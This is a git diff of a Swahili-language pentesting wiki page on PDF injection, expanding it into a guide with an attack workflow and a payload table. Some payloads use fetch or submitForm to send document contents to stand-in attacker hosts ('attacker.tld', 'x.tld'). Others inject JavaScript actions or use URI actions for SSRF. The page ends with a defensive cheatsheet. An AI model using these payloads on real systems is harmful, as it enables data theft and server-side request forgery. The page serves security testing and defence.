diff --git a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md index fed4043d1..1edfd963d 100644 --- a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -1,7 +1,55 @@ -{{#include ../../banners/hacktricks-training.md}} - -**Ikiwa ingizo lako linaonyeshwa ndani ya faili ya PDF, unaweza kujaribu kuingiza data ya PDF ili kutekeleza JavaScript au kuiba maudhui ya PDF.** - -Cheki chapisho: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) +# PDF Injection {{#include ../../banners/hacktricks-training.md}} + +**Ikiwa ingizo lako linaonyeshwa ndani ya faili la PDF, unaweza kujaribu kuingiza data ya PDF ili kutekeleza JavaScript, kufanya SSRF au kuiba maudhui ya PDF.** +Sintaksia ya PDF ni ya kuruhusu sana - ikiwa unaweza kutoka kwenye mfuatano au kamusi inayojumuisha ingizo lako unaweza kuongeza vitu vipya kabisa (au funguo mpya katika kitu hicho hicho) ambacho Acrobat/Chrome kitafurahia kuchambua. +Tangu mwaka wa 2024, wimbi la ripoti za bug-bounty limeonyesha kwamba *parenthesis moja isiyo na kuepukwa au back-slash inatosha* kwa utekelezaji kamili wa script. + +## TL;DR – Mchakato wa Shambulio wa Kisasa (2024) +1. Pata thamani yoyote inayodhibitiwa na mtumiaji ambayo inaishia ndani ya **(parenthesis string)**, `/URI ( … )` au `/JS ( … )` uwanja katika PDF iliyozalishwa. +2. Ingiza `) ` (kufunga mfuatano) ikifuatiwa na moja ya primitives zilizo hapa chini na kumaliza na parenthesis nyingine ya ufunguzi ili kuweka sintaksia kuwa sahihi. +3. Toa PDF yenye uharibifu kwa mwathirika (au kwa huduma ya nyuma inayotengeneza faili kiotomatiki - nzuri kwa makosa ya kipofu). +4. Payload yako inafanya kazi katika mtazamaji wa PDF: +* Chrome / Edge → PDFium Sandbox +* Firefox → PDF.js (ona CVE-2024-4367) +* Acrobat → Full JavaScript API (inaweza kuhamasisha maudhui ya faili yoyote kwa `this.getPageNthWord`) + +Mfano (kuiba kiungo cha maelezo): +```pdf +(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( +``` +*`)` ya kwanza inafunga mfuatano wa URI wa awali, kisha tunaongeza kamusi mpya ya **Action** ambayo Acrobat itatekeleza wakati mtumiaji anapobofya kiungo.* + +## Primitives za Injection Zinazofaa +| Lengo | Kipande cha Payload | Maelezo | +|------|-----------------|-------| +| **JavaScript kwenye ufunguzi** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Inatekelezwa mara moja wakati hati inafunguliwa (inafanya kazi katika Acrobat, si katika Chrome). | +| **JavaScript kwenye kiungo** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Inafanya kazi katika PDFium & Acrobat ikiwa unadhibiti `/Link` annotation. | +| **Kuvuja kwa data kwa siri** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Changanya na `this.getPageNthWord` ndani ya JS ili kuiba maudhui. | +| **Server-Side SSRF** | Kama ilivyo hapo juu lakini lengo ni URL ya ndani – nzuri wakati PDF inatolewa na huduma za ofisi za nyuma ambazo heshimu `/URI`. | +| **Mstari wa Kuvunja kwa vitu vipya** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Ikiwa maktaba inakuwezesha kuingiza wahusika wapya wa mstari unaweza kuunda vitu vipya kabisa. | + +## Hila ya Blind Enumeration +Gareth Heyes (PortSwigger) alitoa mstari mmoja unaoelezea kila kitu ndani ya hati isiyojulikana – muhimu unaposhindwa kuona PDF iliyotengenezwa: +```pdf +) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( +``` +K code inazunguka Acrobat DOM na kufanya maombi ya nje kwa kila mali/kiwango, ikikupa *JSON-ish* dump ya faili. Tazama karatasi ya nyeupe “Portable Data **ex**Filtration” kwa mbinu kamili. + +## Real-World Bugs (2023-2025) +* **CVE-2024-4367** – Utekelezaji wa JavaScript wa kiholela katika PDF.js ya Firefox kabla ya 4.2.67 ilipita sandbox kwa hatua iliyoundwa ya `/JavaScript`. +* **Bug bounty 2024-05** – Fintech kubwa iliruhusu maelezo ya ankara yaliyotolewa na wateja ambayo yalifika katika `/URI`; ripoti ililipwa $10k baada ya kuonyesha SSRF kwa mwenyeji wa metadata wa ndani kwa kutumia `file:///` URI. +* **CVE-2023-26155** – `node-qpdf` command-injection kupitia njia ya PDF isiyo safishwa inaonyesha umuhimu wa kukwepa backslashes na mabano hata *kabla* ya safu ya PDF. + +## Defensive Cheatsheet +1. **Usiunganishe kamwe pembejeo za mtumiaji za moja kwa moja** ndani ya `(`…`)` nyuzi au majina. Kwepa `\`, `(`, `)` kama inavyohitajika na §7.3 ya spesifiki ya PDF au tumia nyuzi za hex `<...>`. +2. Ikiwa unajenga viungo, pendelea `/URI (https://…)` ambayo ume *weka* URL-kodisha kikamilifu; zuia mipango ya `javascript:` katika watazamaji wa mteja. +3. Ondoa au thibitisha kamusi za `/OpenAction`, `/AA` (hatua za ziada), `/Launch`, `/SubmitForm` na `/ImportData` wakati wa usindikaji wa baada ya PDFs. +4. Kwenye upande wa seva, uwasilishe PDFs zisizoaminika kwa kutumia *converter isiyo na kichwa* (mfano qpdf –decrypt –linearize) ambayo inatoa JavaScript na hatua za nje. +5. Hifadhi watazamaji wa PDF wakiwa na sasisho; PDF.js < 4.2.67 na Acrobat Reader kabla ya patchi za Julai 2024 zinaruhusu utekelezaji wa msimbo wa kawaida. + +## References +* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). +* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). +{{#include ../../banners/hacktricks-training.md}}